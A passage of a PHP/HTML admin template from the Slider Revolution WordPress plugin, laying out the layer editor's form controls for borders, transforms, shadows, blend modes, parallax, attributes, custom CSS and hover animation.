							<oneshort><label_icon class="ui_bradius_topright"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderRadiusInput" data-evtparam="1" data-allowed="px,%"  data-numeric="true" data-r="idle.borderRadius.v.1" data-min="-500" data-max="500" type="text"></oneshort>
						</row>
						<row>
							<onelong><label_icon class="ui_bradius_bottomleft"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderRadiusInput" data-evtparam="3" data-allowed="px,%"  data-numeric="true" data-r="idle.borderRadius.v.3" data-min="-500" data-max="500" type="text"></onelong>
							<oneshort><label_icon class="ui_bradius_bottomright"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderRadiusInput" data-evtparam="2" data-allowed="px,%"  data-numeric="true" data-r="idle.borderRadius.v.2" data-min="-500" data-max="500" type="text"></oneshort>
						</row>
					</div>
				</div>
			</div>



		</div>
	</div><!-- END OF STYLE CONTAINER -->

	<!-- LAYER SPACING CONTAINER -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_advstyle"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_6" data-unselect=".layer_submodule_trigger">			
			<!-- BASIC TRANSFORMS -->
			<div id="form_basic_transforms" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">rotate_90_degrees_ccw</i><?php _e('Basic Transforms', 'revslider');?></div>
				<div class="collapsable">
					<row class="direktrow">
						<onelong><label_icon class="ui_rotatex"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="deg" data-r="idle.rotationX" data-min="-3600" data-max="3600" type="text"></onelong>
						<oneshort><label_icon class="ui_rotatey"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="deg" data-r="idle.rotationY" data-min="-3600" data-max="3600" type="text"></oneshort>
					</row>
					<row class="direktrow">
						<onelong><label_icon class="ui_rotatez"></label_icon><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="deg" data-r="idle.rotationZ" data-min="-3600" data-max="3600" type="text"></onelong>
						<oneshort><label_icon class="ui_opacity"></label_icon><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="idle.opacity" data-min="0" data-max="1" data-steps="0.05" type="text"></oneshort>
					</row>
					
				</div>
			</div><!-- END OF BOX SHADOW SETTING -->

			<!-- BOX SHADOW SETTINGS-->
			<div id="form_box_shadow" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">filter_none</i><?php _e('Box Shadow', 'revslider');?></div>
				<div class="collapsable">
					<row class="direktrow">
						<onelong><label_a><?php _e('Effect', 'revslider');?></label_a><input class="layerinput smallinput easyinit" type="checkbox" data-r="idle.boxShadow.inuse"/></onelong>
						<oneshort></oneshort>
					</row>
					<div style="display:none">
						<label_a><?php _e('Shadow on', 'revslider');?></label_a>
						<div class="radiooption">
							<div><input name="boxshadowon" class="layerinput easyinit" data-r="idle.boxShadow.container" type="radio" value="wrapper"><label_sub><?php _e('Wrapper Container', 'revslider');?></label_sub></div>
							<div><input name="boxshadowon" class="layerinput easyinit" data-r="idle.boxShadow.container" type="radio" value="content"><label_sub><?php _e('Layer Container', 'revslider');?></label_sub></div>
						</div>
					</div>
					<div class="div10"></div>

					<row class="direktrow">
						<onelong><label_icon class="ui_x"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="-500" data-max="500" data-responsive="true" data-r="idle.boxShadow.hoffset.#size#.v" type="text"></onelong>
						<oneshort><label_icon class="ui_y"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="-500" data-max="500" data-responsive="true" data-r="idle.boxShadow.voffset.#size#.v" type="text"></oneshort>
					</row>
					<row class="direktrow">
						<onelong><label_icon class="ui_blur"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="500" data-responsive="true" data-r="idle.boxShadow.blur.#size#.v" type="text"></onelong>
						<oneshort><label_icon class="ui_gap"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="500" data-responsive="true" data-r="idle.boxShadow.spread.#size#.v" type="text"></oneshort>
					</row>
					<label_a><?php _e('Shadow Color', 'revslider');?></label_a><input type="text" data-mode="single" data-editing="Box Shadow Color" name="boxShadowColor" id="boxShadowColor" class="my-color-field layerinput easyinit" data-visible="true" data-r="idle.boxShadow.color" value="transparent"><div class="linebreak"></div>
				</div>
			</div><!-- END OF BOX SHADOW SETTING -->

			<!-- TEXT SHADOW SETTINGS-->
			<div id="form_text_shadow" class="form_inner open _shft_ _shfb_">
				<div class="form_inner_header"><i class="material-icons">format_size</i><?php _e('Text Shadow', 'revslider');?></div>
				<div class="collapsable">
					<row class="direktrow">
						<onelong><label_a><?php _e('Effect', 'revslider');?></label_a><input class="layerinput smallinput easyinit" type="checkbox" data-r="idle.textShadow.inuse"/></onelong>
						<oneshort></oneshort>
					</row>
					<row class="direktrow">
						<onelong><label_icon class="ui_x"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="500" data-responsive="true" data-r="idle.textShadow.hoffset.#size#.v" type="text"></onelong>
						<oneshort><label_icon class="ui_y"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="500" data-responsive="true" data-r="idle.textShadow.voffset.#size#.v" type="text"></oneshort>
					</row>
					<row class="direktrow">
						<onelong><label_icon class="ui_blur"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="500" data-responsive="true" data-r="idle.textShadow.blur.#size#.v" type="text"></onelong>
						<oneshort></oneshort>
					</row>
					<label_a><?php _e('Shadow Color', 'revslider');?></label_a><input type="text" data-mode="single" data-editing="Text Shadow Color" name="textShadowColor" id="textShadowColor" class="my-color-field layerinput easyinit" data-visible="true" data-r="idle.textShadow.color" value="transparent"><div class="linebreak"></div>
				</div>
			</div><!-- END OF TEXT SHADOW SETTING -->

			<!-- TEXT STROKE SETTINGS-->
			<div id="form_text_stoke" class="form_inner open _shft_ _shfb_">
				<div class="form_inner_header"><i class="material-icons">format_size</i><?php _e('Text Stroke', 'revslider');?></div>
				<div class="collapsable">
					<row class="direktrow">
						<onelong><label_a><?php _e('Effect', 'revslider');?></label_a><input class="layerinput smallinput easyinit" type="checkbox" data-r="idle.textStroke.inuse"/></onelong>
						<oneshort></oneshort>
					</row>
					<row class="direktrow">
						<onelong><label_icon class="ui_border_right"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="500" data-responsive="true" data-r="idle.textStroke.width.#size#.v" type="text"></onelong>
						<oneshort></oneshort>
					</row>					
					<label_a><?php _e('Stroke Color', 'revslider');?></label_a><input type="text" data-mode="single" data-editing="Text Shadow Color" name="textStrokeColor" id="textStrokeColor" class="my-color-field layerinput easyinit" data-visible="true" data-r="idle.textStroke.color" value="transparent"><div class="linebreak"></div>
				</div>
			</div><!-- END OF TEXT SHADOW SETTING -->

			<!-- LAYER FILTERS-->
			<div id="form_layerstyle_css" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">blur_linear</i><?php _e('Blend Mode', 'revslider');?></div>
				<div class="collapsable">
					<label_icon class="ui_blendmode singlerow"></label_icon><select class="layerinput tos2 nosearchbox easyinit"  data-r="idle.filter.blendMode"><option value="normal" selected="selected">normal</option><option value="multiply">multiply</option><option value="screen">screen</option><option value="overlay">overlay</option><option value="darken">darken</option><option value="lighten">lighten</option><option value="color-dodge">color-dodge</option><option value="color-burn">color-burn</option><option value="hard-light">hard-light</option><option value="soft-light">soft-light</option><option value="difference">difference</option><option value="exclusion">exclusion</option><option value="hue">hue</option><option value="saturation">saturation</option><option value="color">color</option><option value="luminosity">luminosity</option></select>
					<row class="direktrow">
						<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
						<contenthalf><div class="function_info"><?php _e('Can not be rendered in Editor. Please preview in Frontend.', 'revslider');?></div></contenthalf>
					</row>
					<!--<row class="direktrow">-->
						<!--<onelong><label_a><?php _e('Show in Editor', 'revslider');?></label_a><input class="layerinput smallinput easyinit" type="checkbox" data-r="idle.filter.showInEditor"/></onelong>-->
						<!--<oneshort></oneshort>-->
					<!--</row>-->
				</div>
			</div><!-- END OF LAYER FILTERS -->

			<!-- LAYER SPIKES -->
			<div id="form_layer_spiketyle" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">rounded_corner</i><?php _e('Spike Masks', 'revslider');?></div>
				<div class="collapsable">
					<div class="__idle__">	
						<label_a><?php _e('Enable Spikes', 'revslider');?></label_a><input class="easyinit layerinput" id="layer_userSpikes" data-showhide="#layerspikeoptions" data-showhidedep="true" type="checkbox" data-r="idle.spikeUse">	
						<div id="layerspikeoptions">				
							<label_a><?php _e('Left Spike', 'revslider');?></label_a><select id="layer_leftspiketype" class="layerinput tos2 nosearchbox easyinit"  data-r="idle.spikeLeft"><option value="none"><?php _e('No Spikes', 'revslider');?></option><option value="top"><?php _e('1 Spike Top', 'revslider');?></option><option value="middle"><?php _e('1 Spike Middle', 'revslider');?></option><option value="bottom"><?php _e('1 Spike Bottom', 'revslider');?></option><option value="two"><?php _e('Two Spikes', 'revslider');?></option><option value="three"><?php _e('Three Spikes', 'revslider');?></option><option value="four"><?php _e('Four Spikes', 'revslider');?></option><option value="five"><?php _e('Five Spikes', 'revslider');?></option></select>
							<label_a><?php _e('Spike Width', 'revslider');?></label_a><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-r="idle.spikeLeftWidth" type="text">
							<label_a><?php _e('Right Spike', 'revslider');?></label_a><select id="layer_rightspiketype" class="layerinput tos2 nosearchbox easyinit"  data-r="idle.spikeRight"><option value="none"><?php _e('No Spikes', 'revslider');?></option><option value="top"><?php _e('1 Spike Top', 'revslider');?></option><option value="middle"><?php _e('1 Spike Middle', 'revslider');?></option><option value="bottom"><?php _e('1 Spike Bottom', 'revslider');?></option><option value="two"><?php _e('Two Spikes', 'revslider');?></option><option value="three"><?php _e('Three Spikes', 'revslider');?></option><option value="four"><?php _e('Four Spikes', 'revslider');?></option><option value="five"><?php _e('Five Spikes', 'revslider');?></option></select>
							<label_a><?php _e('Spike Width', 'revslider');?></label_a><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-r="idle.spikeRightWidth" type="text">
						</div>
					</div>
				</div>
			</div>
			<!-- LAYER SPIKES -->
			<div id="form_layer_cornertyle" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">rounded_corner</i><?php _e('Sharp Corner Extensions', 'revslider');?></div>
				<div class="collapsable">
					<div class="__idle__">							
						<label_a><?php _e('Left Corner', 'revslider');?></label_a><select id="layer_leftcornertype" class="layerinput tos2 nosearchbox easyinit"  data-r="idle.cornerLeft"><option value="none"><?php _e('No Corner', 'revslider');?></option><option value="rs-fcr"><?php _e('Normal', 'revslider');?></option><option value="rs-fcrt"><?php _e('Reverse', 'revslider');?></option></select>
						<label_a><?php _e('Right Corner', 'revslider');?></label_a><select id="layer_rightcornertype" class="layerinput tos2 nosearchbox easyinit"  data-r="idle.cornerRight"><option value="none"><?php _e('No Corner', 'revslider');?></option><option value="rs-bcr"><?php _e('Normal', 'revslider');?></option><option value="rs-bcrt"><?php _e('Reverse', 'revslider');?></option></select>						
					</div>
				</div>
			</div>
		</div>
	</div>


	<!-- LAYER PARALLAX CONTAINER -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_parallax"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_8" data-unselect=".layer_submodule_trigger">
			<!--<div class="collectortabwrap"><div id="collectortab_form_layer_parallax" class="collectortab form_menu_inside" data-forms='["#form_layer_parallax"]'><i class="material-icons">system_update_alt</i><?php _e('On Scroll', 'revslider');?></div></div>						-->
			<!-- LAYER CONTENT PARALLAX -->
			<!-- GENERAL INFO IF NOTHING SET -->
			<div style="display:none">
				<div id="no_onscroll_on_layers">
					<div class="form_inner open">
						<div class="form_inner_header"><i class="material-icons">filter_9_plus</i><?php _e('On Scroll Details', 'revslider');?></div>
						<div class="collapsable">
							<row class="direktrow">
								<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
								<contenthalf><div id="kenburnissue_info" class="function_info"><?php _e('On Scroll can be Added per Slider in the General Options', 'revslider');?></div></contenthalf>
							</row>
						</div>
					</div>
				</div>
			</div>
			<!--<div class="layer_parallax_settings">-->
				<div id="form_layercontent_pddd" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">system_update_alt</i><?php _e('Parallax & 3D', 'revslider');?></div>
					<div class="collapsable">						
						<label_a><?php _e('Level', 'revslider');?></label_a><select data-theme="dark" data-change="parallax_3d_on_bg" data-changeto='false' data-evt="enablePXModule" data-changewhennot="-" id="layer_parallax_level" class="layerinput tos2 nosearchbox easyinit prallaxlevelselect"  data-r="effects.parallax">
							<option value="-">No Parallax</option>
							<option value="1">1</option>
							<option value="2">2</option>
							<option value="3">3</option>
							<option value="4">4</option>
							<option value="5">5</option>
							<option value="6">6</option>
							<option value="7">7</option>
							<option value="8">8</option>
							<option value="9">9</option>
							<option value="10">10</option>
							<option value="11">11</option>
							<option value="12">12</option>
							<option value="13">13</option>
							<option value="14">14</option>
							<option value="15">15</option>
						</select>						
						<label_a><?php _e('Under Mask', 'revslider');?></label_a><input  class="easyinit layerinput"  id="parallax_undermask" type="checkbox" data-r="effects.pxmask">
						
						<div class="slider_ddd_subsettings">
							<label_a><?php _e('Attach to BG', 'revslider');?></label_a><input data-change="layer_parallax_level" data-changeto='-' data-changewhen="true" class="easyinit layerinput"  id="parallax_3d_on_bg" type="checkbox" data-r="effects.attachToBg">
						</div>
						
					</div>
				</div>
			<!--</div>-->
			<!--<div class="all_sbt_dependencies">-->
				<div id="form_layertimeline_scrollbased" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">system_update_alt</i><?php _e('Timeline Scroll Based', 'revslider');?></div>
					<div class="collapsable">					
						<label_a><?php _e('Handling', 'revslider');?></label_a><select data-theme="dark" id="layer_timlinescroll_level" data-evt="enableScrollModule" class="layerinput tos2 nosearchbox easyinit"  data-r="timeline.scrollBased">
								<option value="default"><?php _e('Default (Global Settings)', 'revslider');?></option>
								<option value="true"><?php _e('Enabled - Scroll Based', 'revslider');?></option>
								<option value="false"><?php _e('Disabled - Time Based', 'revslider');?></option>
							</select>
						<label_a><?php _e('Start Earlier', 'revslider');?></label_a><input class="layerinput easyinit"  data-r="timeline.scrollBasedOffset" data-numeric="true" data-allowed="ms" data-min="0" data-max="2000" type="text">
					</div>
				</div>
			<!--</div>-->
			<!--<div class="all_sbe_dependencies">-->
				<div id="form_layerfilter_scrollbased" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">system_update_alt</i><?php _e('Filter Effect Scroll Based', 'revslider');?></div>
					<div class="collapsable">					
						<label_a><?php _e('Handling', 'revslider');?></label_a><select data-theme="dark" id="layer_effectscroll_level" data-evt="enableScrollEffectModule" class="layerinput tos2 nosearchbox easyinit"  data-r="effects.effect">
								<option value="default"><?php _e('Default (Global Settings)', 'revslider');?></option>
								<option value="true"><?php _e('Enabled - Scroll Based', 'revslider');?></option>
								<option value="false"><?php _e('Disabled', 'revslider');?></option>
							</select>
					</div>
				</div>
			<!--</div>-->
		</div>
	</div>

	<!-- LAYER ATTRIBUTES CONTAINER -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_attributes"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_11" data-unselect=".layer_submodule_trigger">
			<!--<div class="collectortabwrap"><div id="collectortab_form_layer_attributes" class="collectortab form_menu_inside" data-forms='["#form_layer_attributes"]'><i class="material-icons">description</i><?php _e('Attributes', 'revslider');?></div></div>		-->
			<!-- LAYER CONTENT ATTRIBUTES -->
			<div class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">description</i><?php _e('Attributes', 'revslider');?></div>
				<div class="collapsable">
					 <label_a><?php _e('Layer ID', 'revslider');?></label_a><input class="layerinput easyinit " id="layer_id"  data-r="attributes.id" type="text">
					 <label_a><?php _e('Classes', 'revslider');?></label_a><input class="layerinput easyinit " id="layer_classes"  data-r="attributes.classes" type="text">
					 <label_a><?php _e('Title', 'revslider');?></label_a><input class="layerinput easyinit " id="layer_title"  data-r="attributes.title" type="text">
					 <label_a><?php _e('Rel', 'revslider');?></label_a><input class="layerinput easyinit " id="layer_rel"  data-r="attributes.rel" type="text">
					 <label_a><?php _e('TabIndex', 'revslider');?></label_a><input data-numeric="true" data-allowed="" class="layerinput valueduekeyboard easyinit " id="layer_tbindex"  data-r="attributes.tabIndex" type="text">
					 <div class="div15"></div>
					 <label_a><?php _e('Wrapper ID', 'revslider');?></label_a><input class="layerinput easyinit " id="layer_wrapper_id"  data-r="attributes.wrapperId" type="text">
					 <label_a><?php _e('Classes', 'revslider');?></label_a><input class="layerinput easyinit " id="layer_wrapper_classes"  data-r="attributes.wrapperClasses" type="text">
				</div>				
			</div>
		</div>			
	</div>

	<!-- LAYER ATTRIBUTES CONTAINER -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_customcss"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_7" data-unselect=".layer_submodule_trigger">
			<!-- LAYER CUSTOM SETTINGS -->
			<div class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">code</i><?php _e('Custom Inline & Hover CSS', 'revslider');?></div>
				<div class="collapsable">

					<div class="css_opening_closing_bracket"><?php _e('CustomCSS', 'revslider');?> {</div>
					<div id="custom_css_layer_area"></div>
					<div class="css_opening_closing_bracket">}</div>
					<div class="div25"></div>
					<div class="css_opening_closing_bracket"><?php _e('CustomCSS', 'revslider');?><span style="color:#006dd2">:hover</span> {</div>
					<div id="custom_css_hover_layer_area"></div>
					<div class="css_opening_closing_bracket">}</div>
					<div class="div10"></div>
					<row class="direktrow">
						<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
						<contenthalf><div class="function_info"><?php _e('Depricated Function !<br>Only visible by Rendering. Limited influence on Styled Layers. Custom CSS Inline will be removed in Version 6.2', 'revslider');?></div></contenthalf>
					</row>
				</div>
			</div>

		</div>
	</div>

	<!-- LAYER HOVER CONTAINER -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_hover"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_9" data-unselect=".layer_submodule_trigger">
			<!--<div class="collectortabwrap"><div id="collectortab_form_layer_hover" class="collectortab form_menu_inside" data-forms='["#form_layer_hover"]'><i class="material-icons">mouse</i><?php _e('Hover', 'revslider');?></div></div>		-->

			<!-- LAYER HOVER DEFAULTS -->
			<div class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">mouse</i><?php _e('Hover', 'revslider');?></div>
				<div class="collapsable">
					<label_a><?php _e('Cursor', 'revslider');?></label_a><select class="layerinput tos2 nosearchbox easyinit" id="layer_css_cursor" data-r="idle.cursor"><option value="auto" selected="selected">Auto</option><option value="default">Default</option><option value="crosshair">Crosshair</option><option value="pointer">Pointer</option><option value="move">Move</option><option value="text">Text</option><option value="wait">Wait</option><option value="help">Help</option><option value="zoom-in">Zoom-in</option><option value="zoom-out">Zoom-out</option><option value="none">None</option></select><span class="linebreak"></span>
					<label_a><?php _e('Pointer Event', 'revslider');?></label_a><select class="layerinput tos2 nosearchbox easyinit" id="layer_css_pointerevent" data-r="hover.pointerEvents"><option value="auto" selected="selected">Auto</option><option value="none">None</option></select>
					<label_a><?php _e('Animation', 'revslider');?></label_a><select class="layerinput tos2 nosearchbox easyinit" id="layer_use_hover" data-r="hover.usehover" data-show=".copyhoversettings*val*" data-hide=".copyhoversettings" data-showprio="show" id="layer_usehover" class="layerinput easyinit" data-evt="copyhoversettings" data-evtparam="checkiffirst" data-r="hover.usehover"><option value="true"><?php _e('Enabled', 'revslider');?></option><option value="desktop"><?php _e('Only on Desktop', 'revslider');?></option><option value="false"><?php _e('Disabled', 'revslider');?></option></select></onelong>					
				</div>
			</div>
			<div class="copyhoversettings copyhoversettingstrue copyhoversettingsdesktop">
				<!-- LAYER HOVER TRANSFORM -->
				<div class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">mouse</i><?php _e('Animation', 'revslider');?></div>
					<div class="collapsable">
						<row class="directrow">
							<onelong><label_icon class="ui_duration"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="ms" data-r="hover.speed" type="text"></onelong>
							<oneshort></oneshort>
						</row>
						<label_icon class="ui_easing_in singlerow"></label_icon><select id="layer_hover_appear_ease" class="layerinput tos2 nosearchbox easyinit easingSelect" data-r="hover.ease"></select>
						<label_a><?php _e('zIndex', 'revslider');?></label_a><input class="layerinput valueduekeyboard smallinput easyinit input_with_presets" id="layer_hover_zindex" data-numeric="true" data-allowed="auto" data-presets_text="Auto!1!100!500!1000" data-presets_val="auto!1!100!500!1000" data-r="hover.zIndex" data-history="auto" type="text">
						<label_icon class="ui_opacity singlerow"></label_icon><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="hover.opacity" data-min="0" data-max="1" data-steps="0.05" type="text">
						<row class="direktrow">
							<onelong><label_icon class="ui_scalex"></label_icon><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="hover.scaleX" data-min="0" data-max="500" type="text"></onelong>
							<oneshort><label_icon class="ui_scaley"></label_icon><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="hover.scaleY" data-min="0" data-max="500" type="text"></oneshort>
						</row>
						<row class="direktrow">
							<onelong><label_icon class="ui_skewx"></label_icon><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="hover.skewX" data-min="-500" data-max="500" type="text"></onelong>
							<oneshort><label_icon class="ui_skewy"></label_icon><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="hover.skewY" data-min="-500" data-max="500" type="text"></oneshort>
						</row>

						<row class="direktrow">
							<onelong><label_icon class="ui_rotatex"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="deg" data-r="hover.rotationX" data-min="-3600" data-max="3600" type="text"></onelong>
							<oneshort><label_icon class="ui_rotatey"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="deg" data-r="hover.rotationY" data-min="-3600" data-max="3600" type="text"></oneshort>
						</row>
						<row class="direktrow">
							<onelong><label_icon class="ui_rotatez"></label_icon><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="deg" data-r="hover.rotationZ" data-min="-3600" data-max="3600" type="text"></onelong>
							<oneshort></oneshort>
						</row>

						<row class="direktrow">
							<onelong><label_icon class="ui_origox"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%" data-r="hover.originX" data-min="-3600" data-max="3600" type="text"></onelong>
							<oneshort><label_icon class="ui_origoy"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%" data-r="hover.originY" data-min="-3600" data-max="3600" type="text"></oneshort>
						</row>
						<row class="direktrow">
							<onelong><label_icon class="ui_origoz"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%" data-r="hover.originZ" data-min="-3600" data-max="3600" type="text"></onelong>
							<oneshort><div class="global_perspective_settings global_perspecitve_local_settings"><label_icon class="ui_perspective"></label_icon><input id="le_frame_hover_perspective" class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-r="hover.transformPerspective" type="text"></div></oneshort>
						</row>
						<label_a><?php _e('Mask', 'revslider');?></label_a><input type="checkbox" id="layer_usehovermask" class="layerinput easyinit" data-r="hover.usehovermask"/>
					</div>
				</div>

				<!-- LAYER HOVER STYLE TEXT -->
				<div class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">title</i><?php _e('Style', 'revslider');?></div>
					<div class="collapsable">
						<div class="_shft_ _shfb_ _shoft_ _shofb_">
							<!-- TEXT HOVER STYLE -->
							<label_a><?php _e('Text Color', 'revslider');?></label_a><input type="text" data-editing="Layer Hover Text Color" data-mode="single" name="layerTextColorHover" id="layerTextColorHover" class="my-color-field layerinput easyinit" data-visible="true" data-r="hover.color" value="transparent">
							<div class="div5"></div>
							<row class="directrow">
								<onelong><label_icon class="ui_textdecoration"></label_icon><select id="layer_textdecoration_hover" class="layerinput tos2 nosearchbox easyinit" data-r="hover.textDecoration"><option selected="selected" value="none">None</option><option value="underline"><?php _e('Underline', 'revslider');?></option><option value="overline"><?php _e('Overline', 'revslider');?></option><option value="line-through"><?php _e('Line-through', 'revslider');?></option></select></onelong>
								<oneshort></oneshort>
							</row>
						</div>
										
						<label_a><?php _e('BG Color', 'revslider');?></label_a><input type="text" data-editing="Layer BG Color on Hover" name="layerBGColor" id="layerBGColorHover" class="my-color-field layerinput easyinit" data-visible="true" data-r="hover.backgroundColor" value="transparent">
						<div class="div5"></div>
						<label_a><?php _e('Gradient Anim', 'revslider');?></label_a><select id="hover_layer_gradient_style" class="layerinput tos2 nosearchbox easyinit" data-r="hover.gradientStyle"><option value="fading"><?php _e('Fade', 'revslider');?></option><option value="sliding"><?php _e('Slide', 'revslider');?></option></select>
						<div class="div10"></div>
						<label_a><?php _e('Border Color', 'revslider');?></label_a><input type="text" data-mode="single" data-editing="Layer Border Color" name="layerBorderColor" id="layerBorderColorHover" class="my-color-field layerinput easyinit" data-visible="true" data-r="hover.borderColor" value="transparent"><div class="linebreak"></div>
						<div class="div5"></div>
						<label_a><?php _e('Border Style', 'revslider');?></label_a><select id="hover_layer_border_style" class="layerinput tos2 nosearchbox easyinit" data-r="hover.borderStyle" data-show=".border_style_advanced_hover" data-hide="#border_style_*val*_hover" data-showprio="hide" ><option value="none"><?php _e('None', 'revslider');?></option><option value="solid"><?php _e('Solid', 'revslider');?></option><option value="dashed"><?php _e('Dashed', 'revslider');?></option><option value="dotted"><?php _e('Dotted', 'revslider');?></option><option value="double"><?php _e('Double', 'revslider');?></option></select>
						<div class="div10"></div>
						<div id="border_style_none_hover" class="border_style_advanced_hover" >
							<row class="directrow">
								<oneabsolute><div id="hover_layer_borderlock_iconswitch" class="icon_switcher" data-ref="#hover_layer_border_lock"><i class="material-icons icon_state_off">lock_open</i><i class="material-icons icon_state_on">lock_outline</i><input class="easyinit layerinput callEvent" id="hover_layer_border_lock" data-updateviaevt="true" data-evt="lockBorderHover" data-setclasson="hover_layer_borderlock_iconswitch" data-class="icsw_on" type="checkbox" data-r="hover.borderWidthLock"></div></oneabsolute>
								<onelong><label_icon class="ui_border_top"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderInputHover" data-evtparam="0" data-allowed="px"  data-numeric="true" data-r="hover.borderWidth.0" data-min="-500" data-max="500" type="text"></onelong>
								<oneshort><label_icon class="ui_border_right"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderInputHover" data-evtparam="1" data-allowed="px"  data-numeric="true" data-r="hover.borderWidth.1" data-min="-500" data-max="500" type="text"></oneshort>
							</row>
							<row>
								<onelong><label_icon class="ui_border_bottom"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderInputHover" data-evtparam="2" data-allowed="px"  data-numeric="true" data-r="hover.borderWidth.2" data-min="-500" data-max="500" type="text"></onelong>
								<oneshort><label_icon class="ui_border_left"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderInputHover" data-evtparam="3" data-allowed="px"  data-numeric="true" data-r="hover.borderWidth.3" data-min="-500" data-max="500" type="text"></oneshort>
							</row>
						</div>
						<row class="directrow">
							<oneabsolute><div id="hover_layer_borderRadiuslock_iconswitch" class="icon_switcher" data-ref="#hover_layer_borderRadius_lock"><i class="material-icons icon_state_off">lock_open</i><i class="material-icons icon_state_on">lock_outline</i><input class="easyinit layerinput callEvent" id="hover_layer_borderRadius_lock" data-updateviaevt="true" data-evt="lockBorderRadiusHover" data-setclasson="hover_layer_borderRadiuslock_iconswitch" data-class="icsw_on" type="checkbox" data-r="hover.borderRadiusLock"></div></oneabsolute>
							<onelong><label_icon class="ui_bradius_topleft"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderRadiusInputHover" data-evtparam="0" data-allowed="px,%"  data-numeric="true" data-r="hover.borderRadius.v.0" data-min="-500" data-max="500" type="text"></onelong>
							<oneshort><label_icon class="ui_bradius_topright"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderRadiusInputHover" data-evtparam="1" data-allowed="px,%"  data-numeric="true" data-r="hover.borderRadius.v.1" data-min="-500" data-max="500" type="text"></oneshort>
						</row>
						<row class="directrow">
